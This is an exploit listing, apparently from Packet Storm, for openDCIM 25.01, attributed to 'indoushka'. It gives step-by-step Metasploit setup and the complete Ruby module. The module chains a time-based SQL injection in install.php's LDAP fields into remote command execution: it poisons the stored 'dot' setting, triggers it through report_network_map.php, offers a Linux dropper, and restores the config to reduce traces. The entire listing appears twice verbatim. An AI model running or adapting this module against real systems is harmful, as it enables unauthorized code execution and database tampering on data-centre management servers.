Description
openDCIM version 25.01 remote SQL injection exploit that achieves remote code execution...
Basic Information
ID
PACKETSTORM:219185
Published
Apr 20, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : openDCIM 25.01 SQL Injection Leading to Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://opendcim.org/downloads.html |
==================================================================================================================================
[+] Summary : This Metasploit module targets a logical SQL Injection vulnerability in the install.php endpoint of openDCIM, which can be escalated to Remote Code Execution (RCE).
The exploit workflow includes:
A timing-based SQL injection check using SLEEP() to confirm vulnerability.
Injection into LDAP-related configuration fields stored in the database.
Creation of a temporary backup table to preserve existing configuration values.
Manipulation (βpoisoningβ) of a configuration parameter (dot) to inject system commands.
Triggering execution through a web request to report_network_map.php.
Supporting two attack modes:
Command shell execution (cmd)
Payload dropper for Linux systems
[+] The module also implements:
Configuration backup before exploitation
Automatic restoration of settings after execution to reduce impact traces
[+] How to Save & Run (Metasploit Module):
Save the module: open_dcim_sqli_rce.rb
Move it into Metasploit local path: ~/.msf4/modules/exploits/multi/http/
Start Metasploit: msfconsole
Load the module: use exploit/multi/http/open_dcim_sqli_rce
Set options:
set RHOSTS <target_ip>
set TARGETURI /
Run the exploit:
run
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'openDCIM install.php SQL Injection to RCE',
'Description' => %q{
SQLi -> RCE via openDCIM install.php (logical fixed version).
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['printf', 'bourne'],
'Type' => :dropper
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-02-28'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
LDAP_FIELDS = %w[
LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
LDAPContactAdmin LDAPSiteAdmin
].freeze
DOT_PARAM = 'dot'.freeze
def install_uri
normalize_uri(target_uri.path, 'install.php')
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => install_uri
)
return CheckCode::Unknown unless res
return CheckCode::Safe unless res.code == 200
return CheckCode::Safe unless res.body.include?('install') || res.body.include?('openDCIM')
print_status('Testing SQL injection timing')
3.times do |i|
sleep_time = 2
elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'method' => 'POST',
'uri' => install_uri,
'vars_post' => {
'ldapaction' => 'Set',
'LDAPServer' => "'; SELECT SLEEP(#{sleep_time}); -- "
}
)
end
print_status("Test #{i + 1}: #{elapsed_time.round(2)}s")
if elapsed_time < sleep_time
return CheckCode::Safe('Timing condition not met')
end
end
CheckCode::Vulnerable
end
def exploit
@backup_table = Rex::Text.rand_text_alpha(8).downcase
fail_with(Failure::UnexpectedReply, 'Backup failed') unless backup_config
case target['Type']
when :cmd
fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(payload.encoded)
trigger_exec
when :dropper
execute_cmdstager
end
ensure
cleanup_config
end
def execute_command(cmd, _opts = {})
fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(cmd)
trigger_exec
end
def trigger_exec
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
'vars_get' => { 'format' => '0', 'containerid' => '1' }
)
end
def inject_sql(field, sql)
form = { 'ldapaction' => 'Set' }
LDAP_FIELDS.each do |f|
form[f] = ''
end
form[field] = "'; #{sql}; -- "
res = send_request_cgi(
'method' => 'POST',
'uri' => install_uri,
'vars_post' => form
)
res && [200, 302].include?(res.code)
end
def backup_config
inject_sql(
'LDAPServer',
"DROP TABLE IF EXISTS #{@backup_table};
CREATE TABLE #{@backup_table} AS
SELECT Parameter, Value FROM fac_Config
WHERE Parameter LIKE 'LDAP%' OR Parameter='#{DOT_PARAM}'"
)
end
def poison_dot(value)
safe = value.to_s.gsub('"', '\"')
inject_sql('LDAPBaseDN',
"UPDATE fac_Config SET Value=\"#{safe}\" WHERE Parameter='#{DOT_PARAM}'")
end
def restore_config
inject_sql(
'LDAPSiteAdmin',
"UPDATE fac_Config c
INNER JOIN #{@backup_table} b
ON c.Parameter=b.Parameter
SET c.Value=b.Value;
DROP TABLE IF EXISTS #{@backup_table}"
)
end
def cleanup_config
return unless @backup_table
print_status('Restoring configuration...')
restore_config
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : openDCIM 25.01 SQL Injection Leading to Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://opendcim.org/downloads.html |
==================================================================================================================================
[+] Summary : This Metasploit module targets a logical SQL Injection vulnerability in the install.php endpoint of openDCIM, which can be escalated to Remote Code Execution (RCE).
The exploit workflow includes:
A timing-based SQL injection check using SLEEP() to confirm vulnerability.
Injection into LDAP-related configuration fields stored in the database.
Creation of a temporary backup table to preserve existing configuration values.
Manipulation (βpoisoningβ) of a configuration parameter (dot) to inject system commands.
Triggering execution through a web request to report_network_map.php.
Supporting two attack modes:
Command shell execution (cmd)
Payload dropper for Linux systems
[+] The module also implements:
Configuration backup before exploitation
Automatic restoration of settings after execution to reduce impact traces
[+] How to Save & Run (Metasploit Module):
Save the module: open_dcim_sqli_rce.rb
Move it into Metasploit local path: ~/.msf4/modules/exploits/multi/http/
Start Metasploit: msfconsole
Load the module: use exploit/multi/http/open_dcim_sqli_rce
Set options:
set RHOSTS <target_ip>
set TARGETURI /
Run the exploit:
run
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'openDCIM install.php SQL Injection to RCE',
'Description' => %q{
SQLi -> RCE via openDCIM install.php (logical fixed version).
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['printf', 'bourne'],
'Type' => :dropper
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-02-28'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
LDAP_FIELDS = %w[
LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
LDAPContactAdmin LDAPSiteAdmin
].freeze
DOT_PARAM = 'dot'.freeze
def install_uri
normalize_uri(target_uri.path, 'install.php')
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => install_uri
)
return CheckCode::Unknown unless res
return CheckCode::Safe unless res.code == 200
return CheckCode::Safe unless res.body.include?('install') || res.body.include?('openDCIM')
print_status('Testing SQL injection timing')
3.times do |i|
sleep_time = 2
elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'method' => 'POST',
'uri' => install_uri,
'vars_post' => {
'ldapaction' => 'Set',
'LDAPServer' => "'; SELECT SLEEP(#{sleep_time}); -- "
}
)
end
print_status("Test #{i + 1}: #{elapsed_time.round(2)}s")
if elapsed_time < sleep_time
return CheckCode::Safe('Timing condition not met')
end
end
CheckCode::Vulnerable
end
def exploit
@backup_table = Rex::Text.rand_text_alpha(8).downcase
fail_with(Failure::UnexpectedReply, 'Backup failed') unless backup_config
case target['Type']
when :cmd
fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(payload.encoded)
trigger_exec
when :dropper
execute_cmdstager
end
ensure
cleanup_config
end
def execute_command(cmd, _opts = {})
fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(cmd)
trigger_exec
end
def trigger_exec
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
'vars_get' => { 'format' => '0', 'containerid' => '1' }
)
end
def inject_sql(field, sql)
form = { 'ldapaction' => 'Set' }
LDAP_FIELDS.each do |f|
form[f] = ''
end
form[field] = "'; #{sql}; -- "
res = send_request_cgi(
'method' => 'POST',
'uri' => install_uri,
'vars_post' => form
)
res && [200, 302].include?(res.code)
end
def backup_config
inject_sql(
'LDAPServer',
"DROP TABLE IF EXISTS #{@backup_table};
CREATE TABLE #{@backup_table} AS
SELECT Parameter, Value FROM fac_Config
WHERE Parameter LIKE 'LDAP%' OR Parameter='#{DOT_PARAM}'"
)
end
def poison_dot(value)
safe = value.to_s.gsub('"', '\"')
inject_sql('LDAPBaseDN',
"UPDATE fac_Config SET Value=\"#{safe}\" WHERE Parameter='#{DOT_PARAM}'")
end
def restore_config
inject_sql(
'LDAPSiteAdmin',
"UPDATE fac_Config c
INNER JOIN #{@backup_table} b
ON c.Parameter=b.Parameter
SET c.Value=b.Value;
DROP TABLE IF EXISTS #{@backup_table}"
)
end
def cleanup_config
return unless @backup_table
print_status('Restoring configuration...')
restore_config
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================